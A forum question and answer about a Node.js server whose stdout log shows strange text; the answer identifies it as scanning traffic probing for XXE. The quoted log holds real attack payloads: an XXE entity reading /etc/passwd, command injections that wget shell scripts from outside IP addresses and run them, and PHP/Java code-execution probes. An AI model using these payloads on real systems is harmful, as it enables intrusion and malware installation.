My Node.JS program running on an internet-facing server is printing impossible text to the stdout log. Have I been compromised?
(EDIT: Turns out the "strange behavior" is explained by a simple oversight. Keeping this question here in case anyone else overlooks it)
I hope I am asking this question right.
I have a simple web server application set up that does very little. It runs on a dedicated Ubuntu host. The Node application runs through PM2 which runs through NGINX. Apache runs a separate server through NGINX that contains the pictures for the web application.
I have the node application set up to print all URL requests with a timestamp to stdout through the console.log() function. It also prints "404 Page Returned" a 404 page is returned. PM2 saves this in a log.
Like this:
Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /
The moment I put the server online it was flooded with suspicious requests every day (which I'm assuming is normal). These URLs are clearly designed to take advantage of improper URL handling and try to access sensitive resources on the server. The logs would frequently look like this:
Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin
404 Page Returned
All requests on my server are sent to the node application which simply checks if the entire URL matches a certain string of text and in a series of IF statements and, if not, returns a 404. The application is not set up to pull resources directly from URLs in any way, so I figured this was bulletproof to these types of attacks/sanitized.
I don't know much about cybersecurity, but I figured if there was a weakness in the server it would certainly be with Apache/NGINX configuration and not my Node application.
However, the application has started logging strange text to stdout. There is no timestamp. It does not say "Event.Server".
(WHOOPS, TURNS OUT THIS IS UNTRUE:) My application does not log ANYTHING without some other text explaining what it is logging.
Yet now I find all over the place in my application stuff logged similar to this:
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>
Again, this is in the stdout log for my node application; it's not coming from anywhere else. This doesn't seem possible to me from the way the application is set up, and leads me to believe that my server may have been compromised.
If I need to provide additional information I absolutely will.
If this is not a good place to post this question I would be very grateful if someone commented somewhere that is.
I am at a loss. My question is this:
Have I likely been compromised? If so, what do I need to do to secure this server?
Solution 1:
Looks like someone is attempting XXE vulnerability exploit
https://portswigger.net/web-security/xxe
Edit:IP on the 8th line, 45.147.77.236, is from Iran.
IP on last line is from Netherlands with a bad reputation https://www.abuseipdb.com/check/203.159.80.188
You should definitely look into GeoIP blocking if you don't deal with those countries, as well as making sure you update your server, and potentially get an IPS.